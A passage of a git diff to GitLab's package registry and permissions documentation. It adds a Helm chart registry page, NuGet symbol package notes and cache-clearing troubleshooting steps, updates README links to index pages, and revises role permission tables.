TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token) && curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1
```
+
+## Troubleshooting
+
+### Dependency Proxy Connection Failure
+
+If a service alias is not set the `docker:19.03.12` image is unable to find the
+`dind` service, and an error like the following is thrown:
+
+```plaintext
+error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker on 192.168.0.1:53: no such host
+```
+
+This can be resolved by setting a service alias for the Docker service:
+
+```yaml
+services:
+ - name: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/docker:18.09.7-dind
+ alias: docker
+```
diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md
index e20ac57e64f..cb5258981be 100644
--- a/doc/user/packages/generic_packages/index.md
+++ b/doc/user/packages/generic_packages/index.md
@@ -20,14 +20,14 @@ Publish generic files, like release binaries, in your project's Package Registry
## Authenticate to the Package Registry
-To authenticate to the Package Registry, you need either a [personal access token](../../../api/README.md#personalproject-access-tokens),
-[CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or [deploy token](../../project/deploy_tokens/index.md).
+To authenticate to the Package Registry, you need either a [personal access token](../../../api/index.md#personalproject-access-tokens),
+[CI/CD job token](../../../api/index.md#gitlab-cicd-job-token), or [deploy token](../../project/deploy_tokens/index.md).
In addition to the standard API authentication mechanisms, the generic package
API allows authentication with HTTP Basic authentication for use with tools that
do not support the other available mechanisms. The `user-id` is not checked and
-may be any value, and the `password` must be either a [personal access token](../../../api/README.md#personalproject-access-tokens),
-a [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token), or a [deploy token](../../project/deploy_tokens/index.md).
+may be any value, and the `password` must be either a [personal access token](../../../api/index.md#personalproject-access-tokens),
+a [CI/CD job token](../../../api/index.md#gitlab-cicd-job-token), or a [deploy token](../../project/deploy_tokens/index.md).
## Publish a package file
@@ -37,7 +37,7 @@ If a package with the same name, version, and filename already exists, it is als
Prerequisites:
-- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
+- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
```plaintext
PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name?status=:status
@@ -45,7 +45,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name?sta
| Attribute | Type | Required | Description |
| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). |
| `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
| `package_version` | string | yes | The package version. The following regex validates this: `\A(\.?[\w\+-]+\.?)+\z`. You can test your version strings on [Rubular](https://rubular.com/r/aNCV0wG5K14uq8).
| `file_name` | string | yes | The filename. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
@@ -77,7 +77,7 @@ If multiple packages have the same name, version, and filename, then the most re
Prerequisites:
-- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a deploy token, it must be configured with the `read_package_registry` and/or `write_package_registry` scope.
+- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `read_package_registry` and/or `write_package_registry` scope.
```plaintext
GET /projects/:id/packages/generic/:package_name/:package_version/:file_name
@@ -85,7 +85,7 @@ GET /projects/:id/packages/generic/:package_name/:package_version/:file_name
| Attribute | Type | Required | Description |
| -------------------| --------------- | ---------| ------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). |
| `package_name` | string | yes | The package name. |
| `package_version` | string | yes | The package version. |
| `file_name` | string | yes | The filename. |
@@ -108,7 +108,7 @@ curl --user "user:<your_access_token>" \
## Publish a generic package by using CI/CD
-To work with generic packages in [GitLab CI/CD](../../../ci/README.md), you can use
+To work with generic packages in [GitLab CI/CD](../../../ci/index.md), you can use
`CI_JOB_TOKEN` in place of the personal access token in your commands.
For example:
diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md
index 36348fcde18..0c04c4a23d0 100644
--- a/doc/user/packages/go_proxy/index.md
+++ b/doc/user/packages/go_proxy/index.md
@@ -142,7 +142,7 @@ the following documentation:
- [Dependency Management in Go](../../../development/go_guide/dependencies.md)
- [Go Modules Reference](https://golang.org/ref/mod)
- [Documentation (`golang.org`)](https://golang.org/doc/)
-- [Learn (`learn.go.dev`)](https://learn.go.dev/)
+- [Learn (`go.dev/learn`)](https://go.dev/learn/)
### Set environment variables
diff --git a/doc/user/packages/helm_repository/index.md b/doc/user/packages/helm_repository/index.md
new file mode 100644
index 00000000000..26d8bf76cd6
--- /dev/null
+++ b/doc/user/packages/helm_repository/index.md
@@ -0,0 +1,89 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Helm charts in the Package Registry **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18997) in GitLab 14.1.
+
+WARNING:
+The Helm package registry for GitLab is under development and isn't ready for production use due to
+limited functionality.
+
+Publish Helm packages in your project's Package Registry. Then install the
+packages whenever you need to use them as a dependency.
+
+For documentation of the specific API endpoints that Helm package manager
+clients use, see the [Helm API documentation](../../../api/packages/helm.md).
+
+## Build a Helm package
+
+Creating a Helm package is documented [in the Helm documentation](https://helm.sh/docs/intro/using_helm/#creating-your-own-charts).
+
+## Authenticate to the Helm repository
+
+To authenticate to the Helm repository, you need either:
+
+- A [personal access token](../../../api/index.md#personalproject-access-tokens).
+- A [deploy token](../../project/deploy_tokens/index.md).
+- A [CI/CD job token](../../../api/index.md#gitlab-cicd-job-token).
+
+## Publish a package
+
+Once built, a chart can be uploaded to the `stable` channel with `curl` or `helm-push`:
+
+- With `curl`:
+
+ ```shell
+ curl --request POST \
+ --form 'chart=@mychart-0.1.0.tgz' \
+ --user <username>:<personal_access_token> \
+ https://gitlab.example.com/api/v4/projects/1/packages/helm/api/stable/charts
+ ```
+
+- With the [`helm-push`](https://github.com/chartmuseum/helm-push/#readme) plugin:
+
+ ```shell
+ helm repo add --username <username> --password <personal_access_token> project-1 https://gitlab.example.com/api/v4/projects/1/packages/helm/stable
+ helm push mychart-0.1.0.tgz project-1
+ ```
+
+## Use CI/CD to publish a Helm package
+
+To publish a Helm package automated through [GitLab CI/CD](../../../ci/index.md), you can use
+`CI_JOB_TOKEN` in place of the personal access token in your commands.
+
+For example:
+
+```yaml
+image: curlimages/curl:latest
+
+stages:
+ - upload
+
+upload:
+ stage: upload
+ script:
+ - 'curl --request POST --user gitlab-ci-token:$CI_JOB_TOKEN --form "chart=@mychart-0.1.0.tgz" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/helm/api/stable/charts"'
+```
+
+## Install a package
+
+To install the latest version of a chart, use the following command:
+
+```shell
+helm repo add --username <username> --password <personal_access_token> project-1 https://gitlab.example.com/api/v4/projects/1/packages/helm/stable
+helm install my-release project-1/mychart
+```
+
+If the repo has previously been added, you may need to run:
+
+```shell
+helm repo update
+```
+
+To update the Helm client with the most currently available charts.
+
+See [Using Helm](https://helm.sh/docs/intro/using_helm/) for more information.
diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md
index f0bf2fc3363..9158b5cc674 100644
--- a/doc/user/packages/index.md
+++ b/doc/user/packages/index.md
@@ -17,6 +17,7 @@ The Package Registry supports the following formats:
| [Composer](composer_repository/index.md) | 13.2+ |
| [Conan](conan_repository/index.md) | 12.6+ |
| [Go](go_proxy/index.md) | 13.1+ |
+| [Helm](helm_repository/index.md) | 14.1+ |
| [Maven](maven_repository/index.md) | 11.3+ |
| [npm](npm_registry/index.md) | 11.7+ |
| [NuGet](nuget_repository/index.md) | 12.8+ |
@@ -40,7 +41,6 @@ guides you through the process.
| Conda | [#36891](https://gitlab.com/gitlab-org/gitlab/-/issues/36891) |
| CRAN | [#36892](https://gitlab.com/gitlab-org/gitlab/-/issues/36892) |
| Debian | [Draft: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50438) |
-| Helm | [#18997](https://gitlab.com/gitlab-org/gitlab/-/issues/18997) |
| Opkg | [#36894](https://gitlab.com/gitlab-org/gitlab/-/issues/36894) |
| P2 | [#36895](https://gitlab.com/gitlab-org/gitlab/-/issues/36895) |
| Puppet | [#36897](https://gitlab.com/gitlab-org/gitlab/-/issues/36897) |
diff --git a/doc/user/packages/infrastructure_registry/index.md b/doc/user/packages/infrastructure_registry/index.md
index 00370bd2f48..86b85d0c9f5 100644
--- a/doc/user/packages/infrastructure_registry/index.md
+++ b/doc/user/packages/infrastructure_registry/index.md
@@ -35,7 +35,7 @@ documentation for your package type:
## Use GitLab CI/CD to build packages
-To use [GitLab CI/CD](../../../ci/README.md) to build packages, you can
+To use [GitLab CI/CD](../../../ci/index.md) to build packages, you can
authenticate with the [`CI_JOB_TOKEN` predefined variable](../../../ci/variables/predefined_variables.md).
CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index 2567cc3b828..70b9c28da76 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -412,7 +412,7 @@ repositories {
- The `PROJECT_ID` is your project ID, which you can view on your project's home page.
- Replace `gitlab.example.com` with your domain name.
- For retrieving artifacts, use either the
- [URL-encoded](../../../api/README.md#namespaced-path-encoding) path of the project
+ [URL-encoded](../../../api/index.md#namespaced-path-encoding) path of the project
(like `group%2Fproject`) or the project's ID (like `42`). However, only the
project's ID can be used for publishing.
@@ -471,7 +471,7 @@ repositories {
- For `PROJECT_ID`, use your project ID, which you can view on your project's home page.
- Replace `gitlab.example.com` with your domain name.
- For retrieving artifacts, use either the
- [URL-encoded](../../../api/README.md#namespaced-path-encoding) path of the group
+ [URL-encoded](../../../api/index.md#namespaced-path-encoding) path of the group
(like `group%2Fsubgroup`) or the group's ID (like `12`).
### Instance-level Maven endpoint
@@ -530,7 +530,7 @@ repositories {
- The `PROJECT_ID` is your project ID, which you can view on your project's home page.
- Replace `gitlab.example.com` with your domain name.
- For retrieving artifacts, use either the
- [URL-encoded](../../../api/README.md#namespaced-path-encoding) path of the project
+ [URL-encoded](../../../api/index.md#namespaced-path-encoding) path of the project
(like `group%2Fproject`) or the project's ID (like `42`). However, only the
project's ID can be used for publishing.
@@ -745,7 +745,7 @@ You can create a new package each time the `master` branch is updated.
<repositories>
<repository>
<id>gitlab-maven</id>
- <url>$env{CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${env.CI_API_V4_URL}/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</repository>
</repositories>
<distributionManagement>
@@ -813,6 +813,19 @@ You can play around with the regex and try your version strings on [this regular
## Troubleshooting
+To improve performance, Maven caches files related to a package. If you encounter issues, clear
+the cache with these commands:
+
+```shell
+rm -rf ~/.m2/repository
+```
+
+If you're using Gradle, run this command to clear the cache:
+
+```shell
+rm -rf ~/.gradle/caches
+```
+
### Review network trace logs
If you are having issues with the Maven Repository, you may want to review network trace logs.
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index 735873be237..1e5c294689b 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -90,7 +90,7 @@ To use the GitLab endpoint for npm packages, choose an option:
- **Project-level**: Use when you have few npm packages and they are not in
the same GitLab group. The [package naming convention](#package-naming-convention) is not enforced at this level.
- Instead, you should use a [scope](https://docs.npmjs.com/cli/v6/using-npm/scope) for your package.
+ Instead, you should use a [scope](https://docs.npmjs.com/cli/v6/using-npm/scope/) for your package.
When you use a scope, the registry URL is [updated](#authenticate-to-the-package-registry) only for that scope.
- **Instance-level**: Use when you have many npm packages in different
GitLab groups or in their own namespace. Be sure to comply with the [package naming convention](#package-naming-convention).
@@ -205,7 +205,7 @@ Then, you can run `npm publish` either locally or by using GitLab CI/CD.
NPM_TOKEN=<your_token> npm publish
```
-- **GitLab CI/CD:** Set an `NPM_TOKEN` [CI/CD variable](../../../ci/variables/README.md)
+- **GitLab CI/CD:** Set an `NPM_TOKEN` [CI/CD variable](../../../ci/variables/index.md)
under your project's **Settings > CI/CD > Variables**.
## Package naming convention
@@ -287,7 +287,7 @@ Prerequisites:
It must match exactly, including the case. This is different than the
npm naming convention, but it is required to work with the GitLab Package Registry.
-To work with npm commands within [GitLab CI/CD](../../../ci/README.md), you can use
+To work with npm commands within [GitLab CI/CD](../../../ci/index.md), you can use
`CI_JOB_TOKEN` in place of the personal access token or deploy token in your commands.
An example `.gitlab-ci.yml` file for publishing npm packages:
@@ -311,8 +311,7 @@ step-by-step guide and demo project for a complete example.
## Configure the GitLab npm registry with Yarn 2
-You can get started with Yarn 2 by following the documentation at
-[https://yarnpkg.com/getting-started/install](https://yarnpkg.com/getting-started/install).
+You can get started with Yarn 2 by following the [Yarn documentation](https://yarnpkg.com/getting-started/install/).
To publish and install with the project-level npm endpoint, set the following configuration in
`.yarnrc.yml`:
@@ -456,6 +455,14 @@ Due to a bug in npm 6.9.0, deleting distribution tags fails. Make sure your npm
When troubleshooting npm issues, first run the same command with the `--verbose` flag to confirm
what registry you are hitting.
+To improve performance, npm caches files related to a package. Note that npm doesn't remove data by
+itself. The cache grows as new packages are installed. If you encounter issues, clear the cache with
+this command:
+
+```shell
+npm cache clean --force
+```
+
### Error running Yarn with the Package Registry for npm registry
If you are using [Yarn](https://classic.yarnpkg.com/en/) with the npm registry, you may get
@@ -512,7 +519,7 @@ And the `.npmrc` file should look like:
### `npm install` returns `Error: Failed to replace env in config: ${npm_TOKEN}`
-You do not need a token to run `npm install` unless your project is private. The token is only required to publish. If the `.npmrc` file was checked in with a reference to `$npm_TOKEN`, you can remove it. If you prefer to leave the reference in, you must set a value prior to running `npm install` or set the value by using [GitLab CI/CD variables](../../../ci/variables/README.md):
+You do not need a token to run `npm install` unless your project is private. The token is only required to publish. If the `.npmrc` file was checked in with a reference to `$npm_TOKEN`, you can remove it. If you prefer to leave the reference in, you must set a value prior to running `npm install` or set the value by using [GitLab CI/CD variables](../../../ci/variables/index.md):
```shell
NPM_TOKEN=<your_token> npm install
@@ -532,12 +539,24 @@ If you get this error, ensure that:
### `npm publish` returns `npm ERR! 400 Bad Request`
-If you get this error, your package name may not meet the
+If you get this error, one of the following problems could be causing it.
+
+#### Package name does not meet the naming convention
+
+Your package name may not meet the
[`@scope/package-name` package naming convention](#package-naming-convention).
Ensure the name meets the convention exactly, including the case.
Then try to publish again.
+#### Package already exists
+
+Your package has already been published to another project in the same
+root namespace and therefore cannot be published again using the same name.
+
+This is also true even if the prior published package shares the same name,
+but not the version.
+
### `npm publish` returns `npm ERR! 500 Internal Server Error - PUT`
This is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/238950) in GitLab
diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md
index f19d565ef36..46cfd763668 100644
--- a/doc/user/packages/nuget_repository/index.md
+++ b/doc/user/packages/nuget_repository/index.md
@@ -8,6 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20050) in GitLab Premium 12.8.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3.
+> - Symbol package support [added](https://gitlab.com/gitlab-org/gitlab/-/issues/262081) in GitLab 14.1.
Publish NuGet packages in your project's Package Registry. Then, install the
packages whenever you need to use them as a dependency.
@@ -28,7 +29,7 @@ The required minimum versions are:
- [NuGet CLI 5.1 or later](https://www.nuget.org/downloads). If you have
[Visual Studio](https://visualstudio.microsoft.com/vs/), the NuGet CLI is
probably already installed.
-- Alternatively, you can use [.NET SDK 3.0 or later](https://dotnet.microsoft.com/download/dotnet-core/3.0),
+- Alternatively, you can use [.NET SDK 3.0 or later](https://dotnet.microsoft.com/download/dotnet/3.0),
which installs the NuGet CLI.
- NuGet protocol version 3 or later.
@@ -336,7 +337,7 @@ updated:
stage: deploy
script:
- dotnet pack -c Release
- - dotnet nuget add source "${CI_API_V4_URL}/${CI_PROJECT_ID}/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
+ - dotnet nuget add source "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
- dotnet nuget push "bin/Release/*.nupkg" --source gitlab
only:
- master
@@ -394,6 +395,24 @@ dotnet add package <package_id> \
- `<package_id>` is the package ID.
- `<package_version>` is the package version. Optional.
+## Symbol packages
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/262081) in GitLab 14.1.
+
+If you push a `.nupkg`, symbol package files in the `.snupkg` format are uploaded automatically. You
+can also push them manually:
+
+```shell
+nuget push My.Package.snupkg -Source <source_name>
+```
+
+Consuming symbol packages is not yet guaranteed using clients such as Visual Studio or
+dotnet-symbol. The `.snupkg` files are available for download through the UI or the
+[API](../../../api/packages/nuget.md#download-a-package-file).
+
+Follow the [NuGet symbol package issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262081)
+for further updates.
+
## Supported CLI commands
The GitLab NuGet repository supports the following commands for the NuGet CLI (`nuget`) and the .NET
@@ -403,3 +422,12 @@ CLI (`dotnet`):
- `dotnet nuget push`: Upload a package to the registry.
- `nuget install`: Install a package from the registry.
- `dotnet add`: Install a package from the registry.
+
+## Troubleshooting
+
+To improve performance, NuGet caches files related to a package. If you encounter issues, clear the
+cache with this command:
+
+```shell
+nuget locals all -clear
+```
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index 52ce7d62940..cb4e677687e 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -34,8 +34,8 @@ For information on how to create and upload a package, view the GitLab documenta
## Use GitLab CI/CD to build packages
-You can use [GitLab CI/CD](../../../ci/README.md) to build packages.
-For Maven, NuGet, npm, Conan, and PyPI packages, and Composer dependencies, you can
+You can use [GitLab CI/CD](../../../ci/index.md) to build packages.
+For Maven, NuGet, npm, Conan, Helm, and PyPI packages, and Composer dependencies, you can
authenticate with GitLab by using the `CI_JOB_TOKEN`.
CI/CD templates, which you can use to get started, are in [this repository](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
@@ -94,7 +94,7 @@ To delete package files in the UI, from your group or project:
1. Go to **Packages & Registries > Package Registry**.
1. Find the name of the package you want to delete.
1. Select the package to view additional details.
-1. Find the name of the file you would like to delete.
+1. Find the name of the file you would like to delete.
1. Expand the ellipsis and select **Delete file**.
The package files are permanently deleted.
diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md
index 2dd00fdc273..30d61770094 100644
--- a/doc/user/packages/pypi_repository/index.md
+++ b/doc/user/packages/pypi_repository/index.md
@@ -204,7 +204,7 @@ Your project ID is on your project's home page.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202012) in GitLab 13.4.
-To work with PyPI commands within [GitLab CI/CD](../../../ci/README.md), you
+To work with PyPI commands within [GitLab CI/CD](../../../ci/index.md), you
can use `CI_JOB_TOKEN` instead of a personal access token or deploy token.
For example:
@@ -320,7 +320,7 @@ python -m twine upload --repository <source_name> dist/<package_file>
You cannot publish a package if a package of the same name and version already exists.
You must delete the existing package first. If you attempt to publish the same package
-more than once, a `404 Bad Request` error occurs.
+more than once, a `400 Bad Request` error occurs.
## Install a PyPI package
diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md
index 743bc229e11..2a0fea6e0ef 100644
--- a/doc/user/packages/rubygems_registry/index.md
+++ b/doc/user/packages/rubygems_registry/index.md
@@ -74,7 +74,7 @@ https://gitlab.example.com/api/v4/projects/<project_id>/packages/rubygems: '<you
### Authenticate with a CI job token
-To work with RubyGems commands within [GitLab CI/CD](../../../ci/README.md),
+To work with RubyGems commands within [GitLab CI/CD](../../../ci/index.md),
you can use `CI_JOB_TOKEN` instead of a personal access token or deploy token.
For example:
diff --git a/doc/user/packages/terraform_module_registry/index.md b/doc/user/packages/terraform_module_registry/index.md
index efb2b8ddf8e..1365f401506 100644
--- a/doc/user/packages/terraform_module_registry/index.md
+++ b/doc/user/packages/terraform_module_registry/index.md
@@ -15,8 +15,8 @@ as a Terraform module registry.
To authenticate to the Terraform module registry, you need either:
-- A [personal access token](../../../api/README.md#personalproject-access-tokens) with at least `read_api` rights.
-- A [CI/CD job token](../../../api/README.md#gitlab-cicd-job-token).
+- A [personal access token](../../../api/index.md#personalproject-access-tokens) with at least `read_api` rights.
+- A [CI/CD job token](../../../api/index.md#gitlab-cicd-job-token).
## Publish a Terraform Module
@@ -26,7 +26,7 @@ If a package with the same name and version already exists, it will not be creat
Prerequisites:
-- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
+- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
```plaintext
PUT /projects/:id/packages/terraform/modules/:module_name/:module_system/:module_version/file
@@ -34,7 +34,7 @@ PUT /projects/:id/packages/terraform/modules/:module_name/:module_system/:module
| Attribute | Type | Required | Description |
| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). |
| `module_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`).
| `module_system` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`).
| `module_version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/).
@@ -77,7 +77,7 @@ Example response:
Prerequisites:
-- You need to [authenticate with the API](../../../api/README.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope.
+- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a personal access token, it must be configured with the `read_api` scope.
Authentication tokens (Job Token or Personal Access Token) can be provided for `terraform` in your `~/.terraformrc` file:
@@ -99,7 +99,7 @@ module "<module>" {
## Publish a Terraform module by using CI/CD
-To work with Terraform modules in [GitLab CI/CD](../../../ci/README.md), you can use
+To work with Terraform modules in [GitLab CI/CD](../../../ci/index.md), you can use
`CI_JOB_TOKEN` in place of the personal access token in your commands.
For example:
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index 6739d08e156..0c3428ee7ee 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -49,8 +49,10 @@ The following table lists project permissions available for each role:
| View allowed and denied licenses **(ULTIMATE)** | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| View License Compliance reports **(ULTIMATE)** | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| View Security reports **(ULTIMATE)** | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
-| View Dependency list **(ULTIMATE)** | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
-| View License list **(ULTIMATE)** | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
+| View Dependency list **(ULTIMATE)** | | | ✓ | ✓ | ✓ |
+| View License list **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
+| View [Threats list](application_security/threat_monitoring/#threat-monitoring) **(ULTIMATE)** | | | ✓ | ✓ | ✓ |
+| Create and run [on-demand DAST scans](application_security/dast/#on-demand-scans) | | | ✓ | ✓ | ✓ |
| View licenses in Dependency list **(ULTIMATE)** | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| View [Design Management](project/issues/design_management.md) pages | ✓ | ✓ | ✓ | ✓ | ✓ |
| View project code | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
@@ -59,7 +61,7 @@ The following table lists project permissions available for each role:
| View wiki pages | ✓ | ✓ | ✓ | ✓ | ✓ |
| See a list of jobs | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
| See a job log | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
-| See a job with [debug logging](../ci/variables/README.md#debug-logging) | | | ✓ | ✓ | ✓ |
+| See a job with [debug logging](../ci/variables/index.md#debug-logging) | | | ✓ | ✓ | ✓ |
| Download and browse job artifacts | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ |
| Create new issue | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -105,8 +107,7 @@ The following table lists project permissions available for each role:
| Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ |
| Create/edit/delete a Cleanup policy | | | ✓ | ✓ | ✓ |
| Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ |
-| Create/edit [releases](project/releases/index.md)| | | ✓ | ✓ | ✓ |
-| Delete [releases](project/releases/index.md)| | | | ✓ | ✓ |
+| Create/edit/delete [releases](project/releases/index.md)| | | ✓ (*13*) | ✓ (*13*) | ✓ (*13*) |
| Manage merge approval rules (project settings) | | | | ✓ | ✓ |
| Create new merge request | | | ✓ | ✓ | ✓ |
| Create new branches | | | ✓ | ✓ | ✓ |
@@ -169,6 +170,8 @@ The following table lists project permissions available for each role:
| Manage Project Operations | | | | ✓ | ✓ |
| Manage Terraform state | | | | ✓ | ✓ |
| Manage license policy **(ULTIMATE)** | | | | ✓ | ✓ |
+| Manage security policy **(ULTIMATE)** | | | ✓ | ✓ | ✓ |
+| Create or assign security policy project **(ULTIMATE)** | | | | | ✓ |
| Edit comments (posted by any user) | | | | ✓ | ✓ |
| Reposition comments on images (posted by any user)|✓ (*10*) | ✓ (*10*) | ✓ (*10*) | ✓ | ✓ |
| Manage Error Tracking | | | | ✓ | ✓ |
@@ -195,7 +198,7 @@ The following table lists project permissions available for each role:
1. Guest users can only view the confidential issues they created themselves.
1. If **Public pipelines** is enabled in **Project Settings > CI/CD**.
1. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [protected branches](project/protected_branches.md).
-1. If the [branch is protected](project/protected_branches.md#using-the-allowed-to-merge-and-allowed-to-push-settings), this depends on the access Developers and Maintainers are given.
+1. If the [branch is protected](project/protected_branches.md), this depends on the access Developers and Maintainers are given.
1. Guest users can access GitLab [**Releases**](project/releases/index.md) for downloading assets but are not allowed to download the source code nor see repository information like tags and commits.
1. Actions are limited only to records owned (referenced) by user.
1. When [Share Group Lock](group/index.md#prevent-a-project-from-being-shared-with-groups) is enabled the project can't be shared with other groups. It does not affect group with group sharing.
@@ -204,7 +207,8 @@ The following table lists project permissions available for each role:
1. Applies only to comments on [Design Management](project/issues/design_management.md) designs.
1. Users can only view events based on their individual actions.
1. Project access tokens are supported for self-managed instances on Free and above. They are also
- supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial)).
+ supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)).
+1. If the [tag is protected](#release-permissions-with-protected-tags), this depends on the access Developers and Maintainers are given.
## Project features permissions
@@ -223,7 +227,7 @@ which visibility level you select on project settings.
Additional restrictions can be applied on a per-branch basis with [protected branches](project/protected_branches.md).
Additionally, you can customize permissions to allow or prevent project
Maintainers and Developers from pushing to a protected branch. Read through the documentation on
-[Allowed to Merge and Allowed to Push settings](project/protected_branches.md#using-the-allowed-to-merge-and-allowed-to-push-settings)
+[protected branches](project/protected_branches.md)
to learn more.
### Value Stream Analytics permissions
@@ -261,50 +265,50 @@ The following table lists group permissions available for each role:
| Action | Guest | Reporter | Developer | Maintainer | Owner |
|--------------------------------------------------------|-------|----------|-----------|------------|-------|
| Browse group | ✓ | ✓ | ✓ | ✓ | ✓ |
+| Edit SAML SSO Billing **(PREMIUM SAAS)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) |
+| View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View group wiki pages **(PREMIUM)** | ✓ (6) | ✓ | ✓ | ✓ | ✓ |
+| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Insights charts **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
-| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
| Create/edit/delete epic boards **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
